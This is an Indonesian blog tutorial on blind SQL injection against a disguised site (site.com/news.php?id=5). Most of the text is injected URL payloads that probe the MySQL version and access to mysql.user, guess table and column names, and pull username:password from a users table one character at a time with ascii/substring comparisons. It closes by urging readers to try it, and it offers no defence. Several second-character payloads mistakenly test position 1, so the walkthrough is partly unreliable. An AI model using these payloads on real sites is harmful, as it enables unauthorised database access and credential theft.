Blog

Home  /  blog  /  Teknik Hacking dengan Blind SQL Injection

Teknik Hacking dengan Blind SQL Injection

Pada tutorial ini kita akan mencoba mengulas teknik serangan hacker dengan Blind SQL Injection. Untuk itu kita akan menggunakan contoh sebuah web (nama disamarkan) yang vulnerable terhadap serangan ini.

http://www.site.com/news.php?id=5

Saat kita mengakses web tersebut, terlihat halaman web menampilkan sebuah artikel atau informasi, lalu kita mencoba testing apakah web tersebut rentan terhadap serangan SQL Injection. Caranya, kita tambahkan perintah SQL pada url tersebut

http://www.site.com/news.php?id=5 and 1=1 <— tampilan terlihat normal

http://www.site.com/news.php?id=5 and 1=2 <— tampilan terlihat error

Pada saat perintah kedua dimasukkan, terlihat tampilan web error, ini menunjukkan bahwa web tersebut rentan terhadap serangan SQL Injection.

1) Mengetahui versi MySQL
Untuk mengetahui versi MySQL yang digunakan kita bisa menggunakan perintah substring.
contoh:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

Jika perintah diatas dimasukkan dan tampilan normal (TRUE) berarti versi MySQL nya adalah 4.
Akan tetapi jika error dan kita ganti angka 4 dengan 5, dan outputnya normal (TRUE) berarti versi MySQL-nya 5.
contoh:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test query subselect
Ketika query select tidak bekerja dengan baik, kita dapat menggunakan query subselect
contoh:

http://www.site.com/news.php?id=5 and (select 1)=1

Jika tampilan normal berarti query subselect bekerja dengan baik.
Kemudian kita akan mencoba mengakses mysql.user.
contoh:

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

Jika tampilan normal, kita dapat mengakses ke mysql.user.

3). Cek nama tabel and kolom
Pada bagian ini kita melakukan tebakan untuk mengetahui nama tabel dan kolomnya.
contoh:

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

Jika tampilan normal, berarti tebakan kita untuk tabel users benar.
Jika terdapat error, maka tabel users yang kita tebak salah.
Diasumsikan tebakan kita benar, sekarang kita coba mencari nama kolom dari tabel tersebut.
Kita mencoba dengan menebak nama kolom seperti nama tabel diatas.
contoh:

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Jika tampilan web normal, berarti kita tahu bahwa nama kolomnya adalah password. Jika error, kita coba dengan nama yang lain.

4). Menampilkan data dari database
Kita sudah menemukan nama tabelnya adalah users dan nama kolomnya username dan password, lalu kita coba menampilkan isi dari tabel tersebut.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Disini kita akan mencoba mengetahui karakter pertama dari user pada tabel users.
substring ini kembali ke character dan 1 panjang character. ascii() mengconvert  character 1 ke nilai ascii dan membandingkan dengan simbol lebih besar (>)
Jika karakter ascii lebih besar dari 80, maka tampilan normal (TRUE)
Kita akan coba lagi sampai kita mendapatkan error.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Tampilan masih normal, kita naikkan lagi nilai ascii-nya

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Tampilan masih normal, kita naikkan lagi nilai ascii-nya

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Error (FALSE)
Berarti karakter pertama dari username adalah char 99. Dengan menggunakan konverter ascii kita tahu bahwa char 99 itu adalah huruf c
Kemudian kita cari karakter kedua.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

TRUE, tampilan normal, naikkan nilai ascii-nya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, turunkan nilainya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, naikkan nilainya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

Kita tahu bahwa karakter kedua adalah 105. Setelah kita konvert char 105 adalah huruf i
Dengan cara seperti diatas akan mengetahui isi dari kolom username dari tabel users.

Selamat mencoba lagi..:-)

Leave a Reply

Your email address will not be published.